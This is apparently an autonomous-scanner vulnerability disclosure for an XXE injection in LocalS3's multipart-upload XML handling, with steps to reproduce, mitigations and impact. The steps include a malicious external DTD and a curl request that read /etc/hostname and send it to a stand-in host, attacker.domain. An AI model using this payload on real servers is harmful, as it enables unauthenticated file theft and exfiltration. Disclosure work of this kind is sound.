Disclaimer

This vulnerability was detected using XBOW, a system that autonomously finds and exploits potential security vulnerabilities. The finding has been thoroughly reviewed and validated by a security researcher before submission. While XBOW is intended to work autonomously, during its development human experts ensure the accuracy and relevance of its reports.

Description

The LocalS3 project, which implements an S3-compatible storage interface, contains a critical XML External Entity (XXE) Injection vulnerability in its XML parsing functionality. When processing XML requests for multipart upload operations, the application accepts and processes XML external entities, allowing an attacker to read local system files and potentially make outbound network connections.

The vulnerability exists because the XML parser is configured to process external entities and DTD (Document Type Definition) declarations without proper restrictions. This allows an attacker to define external entities that can read local files and exfiltrate their contents through outbound HTTP requests.

The vulnerability is particularly severe as it allows direct access to sensitive files on the filesystem, bypassing any directory traversal protections that might be in place for normal S3 operations.

Steps to Reproduce

1. Create a malicious DTD file containing the following content:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.domain/?flag=%file;'>">
%eval;
%exfil;

2. Host the malicious DTD file on an accessible web server

3. Initialize a multipart upload to the LocalS3 server:

curl -X PUT "http://app/test-bucket/test.txt?uploads"

4. Send a POST request to complete the multipart upload with the following XML payload:

   curl -X POST "http://app/test-bucket/test.txt?uploadId=[upload-id]" \
   -H "Content-Type: application/xml" \
   -d '<?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE data [
   <!ENTITY % dtd SYSTEM "http://attacker.domain/evil.dtd">
   %dtd;
   ]>
   <CompleteMultipartUpload>
      <Part>
          <PartNumber>1</PartNumber>
          <ETag>test</ETag>
      </Part>
   </CompleteMultipartUpload>'
   

The server will process the XML, load the external DTD, and when evaluating the entities, will read the contents of /etc/hostname and send them to the attacker's server via an HTTP request.

Mitigations

• Disable DTD processing in the XML parser configuration
• If DTD processing is required, disable the ability to load external entities and external DTDs
• Implement XML parsing with secure defaults using JAXP's XMLConstants.FEATURE_SECURE_PROCESSING feature
• Set up proper input validation and sanitization for all XML processing operations

Impact

An attacker can exploit this vulnerability to read arbitrary files from the server's filesystem and exfiltrate their contents through outbound HTTP requests. The vulnerability requires no authentication and can be exploited by anyone who can send requests to the LocalS3 server. This could lead to exposure of sensitive information including configuration files, credentials, and other confidential data stored on the server.

Disclosure Policy

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 15 days after the fix was made available. Regardless of this disclosure process, XBOW may privately notify other affected parties as soon as we become aware of this vulnerability.